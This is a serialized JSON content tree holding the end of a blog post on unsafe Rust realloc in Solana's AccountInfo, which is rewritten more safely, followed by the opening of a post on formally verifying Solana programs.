",{"type":21,"tag":34,"props":18490,"children":18493},{"href":18491,"rel":18492},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[38],[18494],{"type":27,"value":18495},"this",{"type":27,"value":185},{"type":21,"tag":187,"props":18498,"children":18500},{"className":3789,"code":18499,"language":3788,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[18501],{"type":21,"tag":194,"props":18502,"children":18503},{"__ignoreMap":7},[18504,18512,18523,18531,18618,18649,18656,18664,18791,18822],{"type":21,"tag":198,"props":18505,"children":18506},{"class":200,"line":201},[18507],{"type":21,"tag":198,"props":18508,"children":18509},{"style":1233},[18510],{"type":27,"value":18511},"// realloc\n",{"type":21,"tag":198,"props":18513,"children":18514},{"class":200,"line":217},[18515,18519],{"type":21,"tag":198,"props":18516,"children":18517},{"style":249},[18518],{"type":27,"value":15161},{"type":21,"tag":198,"props":18520,"children":18521},{"style":211},[18522],{"type":27,"value":233},{"type":21,"tag":198,"props":18524,"children":18525},{"class":200,"line":236},[18526],{"type":21,"tag":198,"props":18527,"children":18528},{"style":1233},[18529],{"type":27,"value":18530}," // First set new length in the serialized data\n",{"type":21,"tag":198,"props":18532,"children":18533},{"class":200,"line":260},[18534,18538,18542,18546,18550,18554,18558,18562,18566,18570,18574,18578,18582,18586,18590,18594,18598,18602,18606,18610,18614],{"type":21,"tag":198,"props":18535,"children":18536},{"style":249},[18537],{"type":27,"value":3809},{"type":21,"tag":198,"props":18539,"children":18540},{"style":226},[18541],{"type":27,"value":14664},{"type":21,"tag":198,"props":18543,"children":18544},{"style":683},[18545],{"type":27,"value":979},{"type":21,"tag":198,"props":18547,"children":18548},{"style":249},[18549],{"type":27,"value":14604},{"type":21,"tag":198,"props":18551,"children":18552},{"style":683},[18553],{"type":27,"value":658},{"type":21,"tag":198,"props":18555,"children":18556},{"style":698},[18557],{"type":27,"value":14681},{"type":21,"tag":198,"props":18559,"children":18560},{"style":211},[18561],{"type":27,"value":14686},{"type":21,"tag":198,"props":18563,"children":18564},{"style":683},[18565],{"type":27,"value":3940},{"type":21,"tag":198,"props":18567,"children":18568},{"style":698},[18569],{"type":27,"value":14695},{"type":21,"tag":198,"props":18571,"children":18572},{"style":211},[18573],{"type":27,"value":14686},{"type":21,"tag":198,"props":18575,"children":18576},{"style":683},[18577],{"type":27,"value":658},{"type":21,"tag":198,"props":18579,"children":18580},{"style":698},[18581],{"type":27,"value":14708},{"type":21,"tag":198,"props":18583,"children":18584},{"style":211},[18585],{"type":27,"value":706},{"type":21,"tag":198,"props":18587,"children":18588},{"style":683},[18589],{"type":27,"value":5139},{"type":21,"tag":198,"props":18591,"children":18592},{"style":2540},[18593],{"type":27,"value":4887},{"type":21,"tag":198,"props":18595,"children":18596},{"style":211},[18597],{"type":27,"value":1541},{"type":21,"tag":198,"props":18599,"children":18600},{"style":249},[18601],{"type":27,"value":9652},{"type":21,"tag":198,"props":18603,"children":18604},{"style":683},[18605],{"type":27,"value":10626},{"type":21,"tag":198,"props":18607,"children":18608},{"style":249},[18609],{"type":27,"value":4530},{"type":21,"tag":198,"props":18611,"children":18612},{"style":1966},[18613],{"type":27,"value":6673},{"type":21,"tag":198,"props":18615,"children":18616},{"style":211},[18617],{"type":27,"value":1483},{"type":21,"tag":198,"props":18619,"children":18620},{"class":200,"line":281},[18621,18625,18629,18633,18637,18641,18645],{"type":21,"tag":198,"props":18622,"children":18623},{"style":683},[18624],{"type":27,"value":18363},{"type":21,"tag":198,"props":18626,"children":18627},{"style":226},[18628],{"type":27,"value":14756},{"type":21,"tag":198,"props":18630,"children":18631},{"style":683},[18632],{"type":27,"value":979},{"type":21,"tag":198,"props":18634,"children":18635},{"style":226},[18636],{"type":27,"value":14765},{"type":21,"tag":198,"props":18638,"children":18639},{"style":249},[18640],{"type":27,"value":9638},{"type":21,"tag":198,"props":18642,"children":18643},{"style":1966},[18644],{"type":27,"value":6673},{"type":21,"tag":198,"props":18646,"children":18647},{"style":211},[18648],{"type":27,"value":1483},{"type":21,"tag":198,"props":18650,"children":18651},{"class":200,"line":302},[18652],{"type":21,"tag":198,"props":18653,"children":18654},{"emptyLinePlaceholder":16},[18655],{"type":27,"value":1283},{"type":21,"tag":198,"props":18657,"children":18658},{"class":200,"line":323},[18659],{"type":21,"tag":198,"props":18660,"children":18661},{"style":1233},[18662],{"type":27,"value":18663}," // Then set the new length in the local slice\n",{"type":21,"tag":198,"props":18665,"children":18666},{"class":200,"line":344},[18667,18671,18675,18679,18683,18687,18691,18695,18699,18703,18707,18711,18715,18719,18723,18727,18731,18735,18739,18743,18747,18751,18755,18759,18763,18767,18771,18775,18779,18783,18787],{"type":21,"tag":198,"props":18668,"children":18669},{"style":249},[18670],{"type":27,"value":3809},{"type":21,"tag":198,"props":18672,"children":18673},{"style":226},[18674],{"type":27,"value":14664},{"type":21,"tag":198,"props":18676,"children":18677},{"style":683},[18678],{"type":27,"value":979},{"type":21,"tag":198,"props":18680,"children":18681},{"style":683},[18682],{"type":27,"value":7953},{"type":21,"tag":198,"props":18684,"children":18685},{"style":249},[18686],{"type":27,"value":4530},{"type":21,"tag":198,"props":18688,"children":18689},{"style":683},[18690],{"type":27,"value":10626},{"type":21,"tag":198,"props":18692,"children":18693},{"style":211},[18694],{"type":27,"value":14824},{"type":21,"tag":198,"props":18696,"children":18697},{"style":249},[18698],{"type":27,"value":14520},{"type":21,"tag":198,"props":18700,"children":18701},{"style":683},[18702],{"type":27,"value":658},{"type":21,"tag":198,"props":18704,"children":18705},{"style":211},[18706],{"type":27,"value":4508},{"type":21,"tag":198,"props":18708,"children":18709},{"style":683},[18710],{"type":27,"value":658},{"type":21,"tag":198,"props":18712,"children":18713},{"style":698},[18714],{"type":27,"value":14845},{"type":21,"tag":198,"props":18716,"children":18717},{"style":211},[18718],{"type":27,"value":14850},{"type":21,"tag":198,"props":18720,"children":18721},{"style":249},[18722],{"type":27,"value":9652},{"type":21,"tag":198,"props":18724,"children":18725},{"style":683},[18726],{"type":27,"value":10626},{"type":21,"tag":198,"props":18728,"children":18729},{"style":249},[18730],{"type":27,"value":2648},{"type":21,"tag":198,"props":18732,"children":18733},{"style":1966},[18734],{"type":27,"value":6673},{"type":21,"tag":198,"props":18736,"children":18737},{"style":211},[18738],{"type":27,"value":2109},{"type":21,"tag":198,"props":18740,"children":18741},{"style":683},[18742],{"type":27,"value":658},{"type":21,"tag":198,"props":18744,"children":18745},{"style":698},[18746],{"type":27,"value":14708},{"type":21,"tag":198,"props":18748,"children":18749},{"style":211},[18750],{"type":27,"value":706},{"type":21,"tag":198,"props":18752,"children":18753},{"style":2540},[18754],{"type":27,"value":134},{"type":21,"tag":198,"props":18756,"children":18757},{"style":211},[18758],{"type":27,"value":1541},{"type":21,"tag":198,"props":18760,"children":18761},{"style":249},[18762],{"type":27,"value":9652},{"type":21,"tag":198,"props":18764,"children":18765},{"style":1966},[18766],{"type":27,"value":6673},{"type":21,"tag":198,"props":18768,"children":18769},{"style":211},[18770],{"type":27,"value":1541},{"type":21,"tag":198,"props":18772,"children":18773},{"style":249},[18774],{"type":27,"value":9652},{"type":21,"tag":198,"props":18776,"children":18777},{"style":683},[18778],{"type":27,"value":10626},{"type":21,"tag":198,"props":18780,"children":18781},{"style":249},[18782],{"type":27,"value":4530},{"type":21,"tag":198,"props":18784,"children":18785},{"style":1966},[18786],{"type":27,"value":6673},{"type":21,"tag":198,"props":18788,"children":18789},{"style":211},[18790],{"type":27,"value":1470},{"type":21,"tag":198,"props":18792,"children":18793},{"class":200,"line":365},[18794,18798,18802,18806,18810,18814,18818],{"type":21,"tag":198,"props":18795,"children":18796},{"style":683},[18797],{"type":27,"value":18363},{"type":21,"tag":198,"props":18799,"children":18800},{"style":226},[18801],{"type":27,"value":14756},{"type":21,"tag":198,"props":18803,"children":18804},{"style":683},[18805],{"type":27,"value":979},{"type":21,"tag":198,"props":18807,"children":18808},{"style":226},[18809],{"type":27,"value":14765},{"type":21,"tag":198,"props":18811,"children":18812},{"style":249},[18813],{"type":27,"value":9638},{"type":21,"tag":198,"props":18815,"children":18816},{"style":1966},[18817],{"type":27,"value":6673},{"type":21,"tag":198,"props":18819,"children":18820},{"style":211},[18821],{"type":27,"value":1483},{"type":21,"tag":198,"props":18823,"children":18824},{"class":200,"line":386},[18825],{"type":21,"tag":198,"props":18826,"children":18827},{"style":211},[18828],{"type":27,"value":1120},{"type":21,"tag":30,"props":18830,"children":18831},{},[18832,18834,18839],{"type":27,"value":18833},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":21,"tag":194,"props":18835,"children":18837},{"className":18836},[],[18838],{"type":27,"value":16306},{"type":27,"value":18840}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":21,"tag":30,"props":18842,"children":18843},{},[18844,18846,18851,18853,18858,18860,18865,18867,18872,18874,18879,18881,18887,18889,18899,18901,18912],{"type":27,"value":18845},"First, let's deal with the ",{"type":21,"tag":194,"props":18847,"children":18849},{"className":18848},[],[18850],{"type":27,"value":16306},{"type":27,"value":18852}," borrowing issue. When we ",{"type":21,"tag":194,"props":18854,"children":18856},{"className":18855},[],[18857],{"type":27,"value":14681},{"type":27,"value":18859},", we get a ",{"type":21,"tag":194,"props":18861,"children":18863},{"className":18862},[],[18864],{"type":27,"value":17543},{"type":27,"value":18866}," back, which represents our borrow of the ",{"type":21,"tag":194,"props":18868,"children":18870},{"className":18869},[],[18871],{"type":27,"value":16306},{"type":27,"value":18873},"'s data. The fix here is simple: keep that ",{"type":21,"tag":194,"props":18875,"children":18877},{"className":18876},[],[18878],{"type":27,"value":17543},{"type":27,"value":18880}," around and use it to access the data, instead of using ",{"type":21,"tag":194,"props":18882,"children":18884},{"className":18883},[],[18885],{"type":27,"value":18886},"RefCell::as_ptr",{"type":27,"value":18888},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":21,"tag":123,"props":18890,"children":18891},{},[18892],{"type":21,"tag":34,"props":18893,"children":18897},{"href":18894,"ariaDescribedBy":18895,"dataFootnoteRef":7,"id":18896},"#user-content-fn-rustc-llvm",[130],"user-content-fnref-rustc-llvm",[18898],{"type":27,"value":18330},{"type":27,"value":18900}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":21,"tag":123,"props":18902,"children":18903},{},[18904],{"type":21,"tag":34,"props":18905,"children":18909},{"href":18906,"ariaDescribedBy":18907,"dataFootnoteRef":7,"id":18908},"#user-content-fn-godbolt",[130],"user-content-fnref-godbolt",[18910],{"type":27,"value":18911},"5",{"type":27,"value":18913},". So then we get:",{"type":21,"tag":187,"props":18915,"children":18917},{"className":3789,"code":18916,"language":3788,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[18918],{"type":21,"tag":194,"props":18919,"children":18920},{"__ignoreMap":7},[18921,18965,18972,18979,19063,19103,19110,19117],{"type":21,"tag":198,"props":18922,"children":18923},{"class":200,"line":201},[18924,18928,18932,18937,18941,18945,18949,18953,18957,18961],{"type":21,"tag":198,"props":18925,"children":18926},{"style":249},[18927],{"type":27,"value":12597},{"type":21,"tag":198,"props":18929,"children":18930},{"style":249},[18931],{"type":27,"value":3814},{"type":21,"tag":198,"props":18933,"children":18934},{"style":226},[18935],{"type":27,"value":18936}," slice",{"type":21,"tag":198,"props":18938,"children":18939},{"style":683},[18940],{"type":27,"value":979},{"type":21,"tag":198,"props":18942,"children":18943},{"style":249},[18944],{"type":27,"value":14604},{"type":21,"tag":198,"props":18946,"children":18947},{"style":683},[18948],{"type":27,"value":658},{"type":21,"tag":198,"props":18950,"children":18951},{"style":698},[18952],{"type":27,"value":14681},{"type":21,"tag":198,"props":18954,"children":18955},{"style":211},[18956],{"type":27,"value":14686},{"type":21,"tag":198,"props":18958,"children":18959},{"style":683},[18960],{"type":27,"value":2156},{"type":21,"tag":198,"props":18962,"children":18963},{"style":211},[18964],{"type":27,"value":1483},{"type":21,"tag":198,"props":18966,"children":18967},{"class":200,"line":217},[18968],{"type":21,"tag":198,"props":18969,"children":18970},{"emptyLinePlaceholder":16},[18971],{"type":27,"value":1283},{"type":21,"tag":198,"props":18973,"children":18974},{"class":200,"line":236},[18975],{"type":21,"tag":198,"props":18976,"children":18977},{"style":1233},[18978],{"type":27,"value":15208},{"type":21,"tag":198,"props":18980,"children":18981},{"class":200,"line":260},[18982,18986,18990,18994,18998,19002,19006,19010,19014,19018,19022,19026,19030,19034,19038,19043,19047,19051,19055,19059],{"type":21,"tag":198,"props":18983,"children":18984},{"style":249},[18985],{"type":27,"value":12597},{"type":21,"tag":198,"props":18987,"children":18988},{"style":226},[18989],{"type":27,"value":14664},{"type":21,"tag":198,"props":18991,"children":18992},{"style":683},[18993],{"type":27,"value":979},{"type":21,"tag":198,"props":18995,"children":18996},{"style":249},[18997],{"type":27,"value":15395},{"type":21,"tag":198,"props":18999,"children":19000},{"style":211},[19001],{"type":27,"value":1891},{"type":21,"tag":198,"props":19003,"children":19004},{"style":226},[19005],{"type":27,"value":16118},{"type":21,"tag":198,"props":19007,"children":19008},{"style":683},[19009],{"type":27,"value":658},{"type":21,"tag":198,"props":19011,"children":19012},{"style":698},[19013],{"type":27,"value":14695},{"type":21,"tag":198,"props":19015,"children":19016},{"style":211},[19017],{"type":27,"value":14686},{"type":21,"tag":198,"props":19019,"children":19020},{"style":683},[19021],{"type":27,"value":658},{"type":21,"tag":198,"props":19023,"children":19024},{"style":698},[19025],{"type":27,"value":14708},{"type":21,"tag":198,"props":19027,"children":19028},{"style":211},[19029],{"type":27,"value":706},{"type":21,"tag":198,"props":19031,"children":19032},{"style":683},[19033],{"type":27,"value":5139},{"type":21,"tag":198,"props":19035,"children":19036},{"style":2540},[19037],{"type":27,"value":4887},{"type":21,"tag":198,"props":19039,"children":19040},{"style":211},[19041],{"type":27,"value":19042},") } ",{"type":21,"tag":198,"props":19044,"children":19045},{"style":249},[19046],{"type":27,"value":9652},{"type":21,"tag":198,"props":19048,"children":19049},{"style":683},[19050],{"type":27,"value":10626},{"type":21,"tag":198,"props":19052,"children":19053},{"style":249},[19054],{"type":27,"value":4530},{"type":21,"tag":198,"props":19056,"children":19057},{"style":1966},[19058],{"type":27,"value":6673},{"type":21,"tag":198,"props":19060,"children":19061},{"style":211},[19062],{"type":27,"value":1483},{"type":21,"tag":198,"props":19064,"children":19065},{"class":200,"line":281},[19066,19070,19074,19078,19082,19086,19090,19094,19098],{"type":21,"tag":198,"props":19067,"children":19068},{"style":249},[19069],{"type":27,"value":15161},{"type":21,"tag":198,"props":19071,"children":19072},{"style":211},[19073],{"type":27,"value":1891},{"type":21,"tag":198,"props":19075,"children":19076},{"style":683},[19077],{"type":27,"value":5383},{"type":21,"tag":198,"props":19079,"children":19080},{"style":226},[19081],{"type":27,"value":14756},{"type":21,"tag":198,"props":19083,"children":19084},{"style":683},[19085],{"type":27,"value":979},{"type":21,"tag":198,"props":19087,"children":19088},{"style":226},[19089],{"type":27,"value":14765},{"type":21,"tag":198,"props":19091,"children":19092},{"style":249},[19093],{"type":27,"value":9638},{"type":21,"tag":198,"props":19095,"children":19096},{"style":1966},[19097],{"type":27,"value":6673},{"type":21,"tag":198,"props":19099,"children":19100},{"style":211},[19101],{"type":27,"value":19102}," };\n",{"type":21,"tag":198,"props":19104,"children":19105},{"class":200,"line":302},[19106],{"type":21,"tag":198,"props":19107,"children":19108},{"emptyLinePlaceholder":16},[19109],{"type":27,"value":1283},{"type":21,"tag":198,"props":19111,"children":19112},{"class":200,"line":323},[19113],{"type":21,"tag":198,"props":19114,"children":19115},{"style":1233},[19116],{"type":27,"value":16943},{"type":21,"tag":198,"props":19118,"children":19119},{"class":200,"line":344},[19120,19124,19128,19132,19136,19141,19145,19149,19153,19158,19162,19166,19170,19174,19179,19183],{"type":21,"tag":198,"props":19121,"children":19122},{"style":683},[19123],{"type":27,"value":5383},{"type":21,"tag":198,"props":19125,"children":19126},{"style":226},[19127],{"type":27,"value":16118},{"type":21,"tag":198,"props":19129,"children":19130},{"style":683},[19131],{"type":27,"value":979},{"type":21,"tag":198,"props":19133,"children":19134},{"style":249},[19135],{"type":27,"value":15395},{"type":21,"tag":198,"props":19137,"children":19138},{"style":211},[19139],{"type":27,"value":19140}," { std",{"type":21,"tag":198,"props":19142,"children":19143},{"style":683},[19144],{"type":27,"value":4286},{"type":21,"tag":198,"props":19146,"children":19147},{"style":211},[19148],{"type":27,"value":16118},{"type":21,"tag":198,"props":19150,"children":19151},{"style":683},[19152],{"type":27,"value":4286},{"type":21,"tag":198,"props":19154,"children":19155},{"style":698},[19156],{"type":27,"value":19157},"from_raw_parts_mut",{"type":21,"tag":198,"props":19159,"children":19160},{"style":211},[19161],{"type":27,"value":706},{"type":21,"tag":198,"props":19163,"children":19164},{"style":226},[19165],{"type":27,"value":16118},{"type":21,"tag":198,"props":19167,"children":19168},{"style":683},[19169],{"type":27,"value":658},{"type":21,"tag":198,"props":19171,"children":19172},{"style":698},[19173],{"type":27,"value":14695},{"type":21,"tag":198,"props":19175,"children":19176},{"style":211},[19177],{"type":27,"value":19178},"(), ",{"type":21,"tag":198,"props":19180,"children":19181},{"style":226},[19182],{"type":27,"value":14529},{"type":21,"tag":198,"props":19184,"children":19185},{"style":211},[19186],{"type":27,"value":15550},{"type":21,"tag":30,"props":19188,"children":19189},{},[19190,19192,19197,19199,19204,19206,19211,19213],{"type":27,"value":19191},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":21,"tag":194,"props":19193,"children":19195},{"className":19194},[],[19196],{"type":27,"value":8853},{"type":27,"value":19198}," and not a ",{"type":21,"tag":194,"props":19200,"children":19202},{"className":19201},[],[19203],{"type":27,"value":17404},{"type":27,"value":19205}," for the size field, given that ",{"type":21,"tag":194,"props":19207,"children":19209},{"className":19208},[],[19210],{"type":27,"value":17404},{"type":27,"value":19212}," is architecture-dependent), and no dependency on slice reference internals!",{"type":21,"tag":123,"props":19214,"children":19215},{},[19216],{"type":21,"tag":34,"props":19217,"children":19221},{"href":19218,"ariaDescribedBy":19219,"dataFootnoteRef":7,"id":19220},"#user-content-fn-slice-unbound-lifetime",[130],"user-content-fnref-slice-unbound-lifetime",[19222],{"type":27,"value":19223},"6",{"type":21,"tag":3606,"props":19225,"children":19227},{"className":19226,"dataFootnotes":7},[3609],[19228,19233],{"type":21,"tag":22,"props":19229,"children":19231},{"className":19230,"id":130},[3614],[19232],{"type":27,"value":3617},{"type":21,"tag":71,"props":19234,"children":19235},{},[19236,19338,19356,19411,19424,19452],{"type":21,"tag":75,"props":19237,"children":19239},{"id":19238},"user-content-fn-rc-refs",[19240,19242,19248,19250,19255,19257,19261,19263,19267,19269,19274,19276,19282,19284,19289,19291,19301,19303,19308,19310,19315,19317,19322,19324,19330,19332],{"type":27,"value":19241},"I find it helpful to view owning an ",{"type":21,"tag":194,"props":19243,"children":19245},{"className":19244},[],[19246],{"type":27,"value":19247},"Rc\u003CT>",{"type":27,"value":19249}," as holding a shared reference to the underlying ",{"type":21,"tag":194,"props":19251,"children":19253},{"className":19252},[],[19254],{"type":27,"value":6800},{"type":27,"value":19256}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":21,"tag":1671,"props":19258,"children":19259},{},[19260],{"type":27,"value":17261},{"type":27,"value":19262}," ensures that the actual ",{"type":21,"tag":1671,"props":19264,"children":19265},{},[19266],{"type":27,"value":4508},{"type":27,"value":19268}," stays alive, however all you have is a reference to the ",{"type":21,"tag":194,"props":19270,"children":19272},{"className":19271},[],[19273],{"type":27,"value":6800},{"type":27,"value":19275}," (through the ",{"type":21,"tag":194,"props":19277,"children":19279},{"className":19278},[],[19280],{"type":27,"value":19281},"Deref\u003CTarget = T>",{"type":27,"value":19283}," impl) - ",{"type":21,"tag":1671,"props":19285,"children":19286},{},[19287],{"type":27,"value":19288},"not",{"type":27,"value":19290}," ownership ",{"type":21,"tag":1671,"props":19292,"children":19293},{},[19294,19296],{"type":27,"value":19295},"of the ",{"type":21,"tag":194,"props":19297,"children":19299},{"className":19298},[],[19300],{"type":27,"value":6800},{"type":27,"value":19302},". In short, owning an ",{"type":21,"tag":194,"props":19304,"children":19306},{"className":19305},[],[19307],{"type":27,"value":19247},{"type":27,"value":19309}," is owning a (shared, read-only) reference to ",{"type":21,"tag":194,"props":19311,"children":19313},{"className":19312},[],[19314],{"type":27,"value":6800},{"type":27,"value":19316},", not owning ",{"type":21,"tag":194,"props":19318,"children":19320},{"className":19319},[],[19321],{"type":27,"value":6800},{"type":27,"value":19323}," directly like with ",{"type":21,"tag":194,"props":19325,"children":19327},{"className":19326},[],[19328],{"type":27,"value":19329},"Box\u003CT>",{"type":27,"value":19331},". ",{"type":21,"tag":34,"props":19333,"children":19336},{"href":19334,"ariaLabel":3638,"className":19335,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs",[3640],[19337],{"type":27,"value":3643},{"type":21,"tag":75,"props":19339,"children":19341},{"id":19340},"user-content-fn-sendsync",[19342,19348,19349],{"type":21,"tag":194,"props":19343,"children":19345},{"className":19344},[],[19346],{"type":27,"value":19347},"!Send + !Sync",{"type":27,"value":915},{"type":21,"tag":34,"props":19350,"children":19354},{"href":19351,"ariaLabel":19352,"className":19353,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[3640],[19355],{"type":27,"value":3643},{"type":21,"tag":75,"props":19357,"children":19359},{"id":19358},"user-content-fn-layout",[19360,19362,19367,19368,19381,19383,19388,19390,19395,19397,19402,19404],{"type":27,"value":19361},"Note that this is a terrible idea for yet another reason: ",{"type":21,"tag":194,"props":19363,"children":19365},{"className":19364},[],[19366],{"type":27,"value":15743},{"type":27,"value":6314},{"type":21,"tag":34,"props":19369,"children":19372},{"href":19370,"rel":19371},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[38],[19373,19375],{"type":27,"value":19374},"not declared with ",{"type":21,"tag":194,"props":19376,"children":19378},{"className":19377},[],[19379],{"type":27,"value":19380},"#[repr(C)]",{"type":27,"value":19382},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":21,"tag":1671,"props":19384,"children":19385},{},[19386],{"type":27,"value":19387},"breaks the entire chain",{"type":27,"value":19389}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":21,"tag":1671,"props":19391,"children":19392},{},[19393],{"type":27,"value":19394},"some",{"type":27,"value":19396}," kind of interface to the specific layout of the specific ",{"type":21,"tag":194,"props":19398,"children":19400},{"className":19399},[],[19401],{"type":27,"value":17313},{"type":27,"value":19403}," versions used to build on-chain code for all eternity... ",{"type":21,"tag":34,"props":19405,"children":19409},{"href":19406,"ariaLabel":19407,"className":19408,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[3640],[19410],{"type":27,"value":3643},{"type":21,"tag":75,"props":19412,"children":19414},{"id":19413},"user-content-fn-rustc-llvm",[19415,19417],{"type":27,"value":19416},"Actually, it's LLVM that does the optimization ",{"type":21,"tag":34,"props":19418,"children":19422},{"href":19419,"ariaLabel":19420,"className":19421,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[3640],[19423],{"type":27,"value":3643},{"type":21,"tag":75,"props":19425,"children":19427},{"id":19426},"user-content-fn-godbolt",[19428,19435,19437,19443,19445],{"type":21,"tag":34,"props":19429,"children":19432},{"href":19430,"rel":19431},"https://godbolt.org/z/PK46xMbxc",[38],[19433],{"type":27,"value":19434},"Click here",{"type":27,"value":19436}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":21,"tag":194,"props":19438,"children":19440},{"className":19439},[],[19441],{"type":27,"value":19442},"libcore",{"type":27,"value":19444}," available for other architectures yet. ",{"type":21,"tag":34,"props":19446,"children":19450},{"href":19447,"ariaLabel":19448,"className":19449,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[3640],[19451],{"type":27,"value":3643},{"type":21,"tag":75,"props":19453,"children":19455},{"id":19454},"user-content-fn-slice-unbound-lifetime",[19456,19458,19463,19465,19471,19473,19479,19481,19487,19489,19495,19497,19503,19505,19510,19512],{"type":27,"value":19457},"The astute reader may have noticed that ",{"type":21,"tag":194,"props":19459,"children":19461},{"className":19460},[],[19462],{"type":27,"value":19157},{"type":27,"value":19464}," still returns an unbounded lifetime (notice in the signature ",{"type":21,"tag":194,"props":19466,"children":19468},{"className":19467},[],[19469],{"type":27,"value":19470},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":27,"value":19472},", the lifetime parameter ",{"type":21,"tag":194,"props":19474,"children":19476},{"className":19475},[],[19477],{"type":27,"value":19478},"'a",{"type":27,"value":19480}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":21,"tag":194,"props":19482,"children":19484},{"className":19483},[],[19485],{"type":27,"value":19486},"*slice",{"type":27,"value":19488},", which is ",{"type":21,"tag":194,"props":19490,"children":19492},{"className":19491},[],[19493],{"type":27,"value":19494},"&'info [u8]",{"type":27,"value":19496}," (where ",{"type":21,"tag":194,"props":19498,"children":19500},{"className":19499},[],[19501],{"type":27,"value":19502},"'info",{"type":27,"value":19504}," is the lifetime parameter of the ",{"type":21,"tag":194,"props":19506,"children":19508},{"className":19507},[],[19509],{"type":27,"value":15743},{"type":27,"value":19511}," struct) - this is exactly the lifetime we started with. ",{"type":21,"tag":34,"props":19513,"children":19517},{"href":19514,"ariaLabel":19515,"className":19516,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[3640],[19518],{"type":27,"value":3643},{"type":21,"tag":3645,"props":19520,"children":19521},{},[19522],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":19524},[19525,19531,19535,19536,19538],{"id":15173,"depth":217,"text":19526,"children":19527},"Breaking down realloc",[19528,19529],{"id":15339,"depth":236,"text":15342},{"id":16695,"depth":236,"text":19530},"Back to realloc",{"id":17645,"depth":217,"text":17648,"children":19532},[19533,19534],{"id":17651,"depth":236,"text":17654},{"id":17872,"depth":236,"text":17875},{"id":18059,"depth":217,"text":18062},{"id":18461,"depth":217,"text":19537},"Towards safer unsafe",{"id":130,"depth":217,"text":3617},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":19543,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":19544,"description":19545,"author":19546,"image":19547,"date":19549,"isFeatured":16,"onBlogPage":16,"tags":19550,"body":19551,"_type":3671,"_id":29803,"_source":3673,"_file":29804,"_stem":29805,"_extension":3676},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":19548,"height":14429,"width":14430},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[3688,3689],{"type":18,"children":19552,"toc":29775},[19553,19558,19563,19589,19593,19605,19628,19651,19663,19686,19689,19695,19744,19750,19754,19759,19770,19811,19816,19822,19827,20060,20080,20085,20090,20163,20168,20238,20252,20676,20696,20702,20721,20726,20731,20736,20742,20754,20789,20800,20811,20823,20828,20860,20884,20903,20909,20926,20932,20959,20964,20984,20996,21142,21170,21173,21185,21268,21287,21290,21329,21495,21500,21506,21518,21536,21549,21710,21722,21735,22209,22214,22261,22267,22285,22354,22592,22806,22811,22885,22933,22938,22944,23046,23150,23155,23218,23223,23229,23294,23299,23341,23367,23373,23442,23447,23497,23508,23514,23525,23546,23551,23556,23579,23585,23597,23617,24732,24751,24802,24807,24815,24827,24832,24840,24845,24861,24897,24902,24996,25001,25009,25014,25126,25131,25139,25152,25316,25321,25329,25334,25339,25407,25441,25447,25452,25463,25481,25859,25871,25883,25891,25902,25933,25938,25946,25951,26224,26243,26248,26273,27141,27153,27252,27264,27306,27311,27323,27331,27336,27348,27374,27534,27546,27554,27559,27835,27840,27852,28007,28027,28353,28387,28580,28613,28625,28747,28767,28772,28777,28782,28795,28803,28808,29283,29295,29300,29312,29317,29576,29602,29607,29613,29619,29631,29643,29662,29709,29714,29720,29725,29730,29735,29739,29744,29749,29752,29771],{"type":21,"tag":30,"props":19554,"children":19555},{},[19556],{"type":27,"value":19557},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":21,"tag":30,"props":19559,"children":19560},{},[19561],{"type":27,"value":19562},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":21,"tag":30,"props":19564,"children":19565},{},[19566,19568,19572,19574,19579,19581,19588],{"type":27,"value":19567},"In the world of Web3 we create programs that talk to strangers 